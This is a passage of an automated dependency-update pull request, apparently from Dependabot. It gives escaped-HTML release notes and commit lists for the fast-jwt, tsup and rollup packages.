\u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.5 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/540\"\u003enearform/fast-jwt#540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix node 23 by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/541\"\u003enearform/fast-jwt#541\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump mnemonist from 0.39.8 to 0.40.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/544\"\u003enearform/fast-jwt#544\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: add type for cacheKeyBuilder by \u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitata benchmark by \u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix benchmarks with regards to jsonwebtoken performance by \u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/525\"\u003enearform/fast-jwt#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: upgrade deps by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/526\"\u003enearform/fast-jwt#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChore/types definition by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/527\"\u003enearform/fast-jwt#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fake timer by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/528\"\u003enearform/fast-jwt#528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFeat/generic signer verifier by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/529\"\u003enearform/fast-jwt#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.3 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/530\"\u003enearform/fast-jwt#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eupdate nearform banner link by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/533\"\u003enearform/fast-jwt#533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump eslint-config-prettier from 9.1.0 to 10.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/538\"\u003enearform/fast-jwt#538\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.4 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/539\"\u003enearform/fast-jwt#539\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/523\"\u003enearform/fast-jwt#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(types): Add missing input type for DecodedJwt and Updated input field to return decoded 'input' by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.1\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0dbaa53023ba641b9ed6a1b93c82170381ad0f93\"\u003e\u003ccode\u003e0dbaa53\u003c/code\u003e\u003c/a\u003e Release v5.0.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/d2b0ccb103848917848390f96f06acee339a7a19\"\u003e\u003ccode\u003ed2b0ccb\u003c/code\u003e\u003c/a\u003e chore: update optic action to use the correct version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/79208cace7b5453fd1e4e96a84434d94f4d00ae1\"\u003e\u003ccode\u003e79208ca\u003c/code\u003e\u003c/a\u003e Fix benchmarks with regards to jsonwebtoken performance (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/535\"\u003e#535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ce5b923c3dc3cd671549b59bf97f5d2113921287\"\u003e\u003ccode\u003ece5b923\u003c/code\u003e\u003c/a\u003e Port benchmarks to mitata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ffc1b8c93d50e92c5fa956b737565adaf48fb8c3\"\u003e\u003ccode\u003effc1b8c\u003c/code\u003e\u003c/a\u003e chore: add type for cacheKeyBuilder (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cd12d284c0de1202eade1d001b49ba07dd7ab26b\"\u003e\u003ccode\u003ecd12d28\u003c/code\u003e\u003c/a\u003e chore(deps): bump mnemonist from 0.39.8 to 0.40.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/544\"\u003e#544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/bbc25ecc4e0dc8b1956441c470d928a2700770c5\"\u003e\u003ccode\u003ebbc25ec\u003c/code\u003e\u003c/a\u003e chore: fix node 23 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/541\"\u003e#541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f14de38c3e9b7a27459d556dab60cb34e5c0dfd2\"\u003e\u003ccode\u003ef14de38\u003c/code\u003e\u003c/a\u003e Release v5.0.5 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/540\"\u003e#540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/354c4c1d9e186dec6c8d2b80b258612f7e09cf3b\"\u003e\u003ccode\u003e354c4c1\u003c/code\u003e\u003c/a\u003e Release v5.0.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/539\"\u003e#539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v5.0.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsup` from 8.0.2 to 8.3.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/egoist/tsup/releases\"\u003etsup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.3.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRun \u003ccode\u003eexperimentalDts\u003c/code\u003e only once  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1236\"\u003eegoist/tsup#1236\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/fddd451\"\u003e\u003c!-- raw HTML omitted --\u003e(fddd4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.4...v8.3.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.4\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003eNo significant changes\u003c/em\u003e\u003c/p\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.3...v8.3.4\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.3\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003eNo significant changes\u003c/em\u003e\u003c/p\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.2...v8.3.3\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.1\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003ees2024\u003c/code\u003e target  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/4c8cd7f\"\u003e\u003c!-- raw HTML omitted --\u003e(4c8cd)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport TS 5.6 for svelte  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/28b9ce9\"\u003e\u003c!-- raw HTML omitted --\u003e(28b9c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eneutral\u003c/code\u003e value to platform options in \u003ccode\u003eschema.json\u003c/code\u003e  -  by \u003ca href=\"https://github.com/venables\"\u003e\u003ccode\u003e@​venables\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/982\"\u003eegoist/tsup#982\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/a03db4c\"\u003e\u003c!-- raw HTML omitted --\u003e(a03db)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWider restriction for \u003ccode\u003etarget\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/odanado\"\u003e\u003ccode\u003e@​odanado\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1118\"\u003eegoist/tsup#1118\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/1979b06\"\u003e\u003c!-- raw HTML omitted --\u003e(1979b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eterser\u003c/code\u003e value to \u003ccode\u003eminify\u003c/code\u003e option in \u003ccode\u003eschema.json\u003c/code\u003e  -  by \u003ca href=\"https://github.com/damienbutt\"\u003e\u003ccode\u003e@​damienbutt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/991\"\u003eegoist/tsup#991\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/34951bf\"\u003e\u003c!-- raw HTML omitted --\u003e(34951)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChange \u003ccode\u003enewlineKind\u003c/code\u003e to \u003ccode\u003elf\u003c/code\u003e for \u003ccode\u003eexperimentalDts\u003c/code\u003e  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1234\"\u003eegoist/tsup#1234\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/4584b89\"\u003e\u003c!-- raw HTML omitted --\u003e(4584b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable rollup \u003ccode\u003eoutput.compact\u003c/code\u003e when minify is enabled  -  by \u003ca href=\"https://github.com/hyrious\"\u003e\u003ccode\u003e@​hyrious\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1232\"\u003eegoist/tsup#1232\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/9cc86d6\"\u003e\u003c!-- raw HTML omitted --\u003e(9cc86)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003eNode16\u003c/code\u003e and \u003ccode\u003eNodeNext\u003c/code\u003e module resolution in \u003ccode\u003eexperimentalDts\u003c/code\u003e  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1225\"\u003eegoist/tsup#1225\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/41c98ff\"\u003e\u003c!-- raw HTML omitted --\u003e(41c98)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.0...v8.3.1\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/egoist/tsup/compare/v8.2.4...v8.3.0\"\u003e8.3.0\u003c/a\u003e (2024-09-17)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ccode\u003eexperimentalDts\u003c/code\u003e file cleaning and watching (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1199\"\u003e#1199\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/76dc18b7036c408e6fc5254e3eeb3430f65c7866\"\u003e76dc18b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd support for \u003ccode\u003ects\u003c/code\u003e and \u003ccode\u003emts\u003c/code\u003e config files (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1178\"\u003e#1178\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/ec811b3b7d22479c230292a024f1dee5d171b0ea\"\u003eec811b3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd support for async \u003ccode\u003einjectStyle\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1193\"\u003e#1193\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/f25a9db77d22c91ea8f6bd1ed31ea8415d0a7d5d\"\u003ef25a9db\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.2.4\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/egoist/tsup/compare/v8.2.3...v8.2.4\"\u003e8.2.4\u003c/a\u003e (2024-08-02)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/cd03e1e00ec2bd6676ae1837cbc7e618ab6a2362\"\u003e\u003ccode\u003ecd03e1e\u003c/code\u003e\u003c/a\u003e chore: release v8.3.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/fddd451c3d63cd5f851a0e7ab091c0550e24f213\"\u003e\u003ccode\u003efddd451\u003c/code\u003e\u003c/a\u003e fix: run \u003ccode\u003eexperimentalDts\u003c/code\u003e only once (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1236\"\u003e#1236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/21b119374880e9d9109c5d8658429678a1de8f45\"\u003e\u003ccode\u003e21b1193\u003c/code\u003e\u003c/a\u003e chore: release v8.3.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/580e03dc996107c4790c64df5b9ca6cebb4b7de9\"\u003e\u003ccode\u003e580e03d\u003c/code\u003e\u003c/a\u003e ci: fix release workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/01b38f295f6e1fa240676213817a9d315fdffd60\"\u003e\u003ccode\u003e01b38f2\u003c/code\u003e\u003c/a\u003e chore: release v8.3.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/4f5b71e42887a5147ee6d95d2d7f89f789887f0d\"\u003e\u003ccode\u003e4f5b71e\u003c/code\u003e\u003c/a\u003e ci: fix release workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/e80dad6889366941e015faadce05cbe2eeca3c17\"\u003e\u003ccode\u003ee80dad6\u003c/code\u003e\u003c/a\u003e chore: release v8.3.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/f4af79a1b890307a28d0d986a0c06dc92192c222\"\u003e\u003ccode\u003ef4af79a\u003c/code\u003e\u003c/a\u003e ci: fix release workflow (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1241\"\u003e#1241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/4b72d61a8e7a2e450e71ffe8806739f2e1122f54\"\u003e\u003ccode\u003e4b72d61\u003c/code\u003e\u003c/a\u003e chore: release v8.3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/41c98ff07aa03ef0e9d65407b20c9465acbf0d83\"\u003e\u003ccode\u003e41c98ff\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eNode16\u003c/code\u003e and \u003ccode\u003eNodeNext\u003c/code\u003e module resolution in \u003ccode\u003eexperimentalDts\u003c/code\u003e (...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/egoist/tsup/compare/v8.0.2...v8.3.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `rollup` from 4.13.0 to 4.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rollup/rollup/releases\"\u003erollup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.18.0\u003c/h2\u003e\n\u003ch2\u003e4.18.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-05-22\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eResolve import.meta.filename and .dirname in transpiled plugins (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5504\"\u003e#5504\u003c/a\u003e: Auto generate node index (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5507\"\u003e#5507\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5508\"\u003e#5508\u003c/a\u003e: chore(deps): lock file maintenance (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5510\"\u003e#5510\u003c/a\u003e: Split up converter.rs into AST nodes (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5512\"\u003e#5512\u003c/a\u003e: chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5514\"\u003e#5514\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5518\"\u003e#5518\u003c/a\u003e: chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5519\"\u003e#5519\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5520\"\u003e#5520\u003c/a\u003e: Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://github.com/BPScott\"\u003e\u003ccode\u003e@​BPScott\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5521\"\u003e#5521\u003c/a\u003e: docs: correct base32 to base36 in documentation (\u003ca href=\"https://github.com/highcastlee\"\u003e\u003ccode\u003e@​highcastlee\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.2\u003c/h2\u003e\n\u003ch2\u003e4.17.2\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-30\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix tree-shaking problems when using spread arguments (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5503\"\u003e#5503\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5501\"\u003e#5501\u003c/a\u003e: Slightly improve perf report (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5503\"\u003e#5503\u003c/a\u003e: fix: rest element should deoptimize 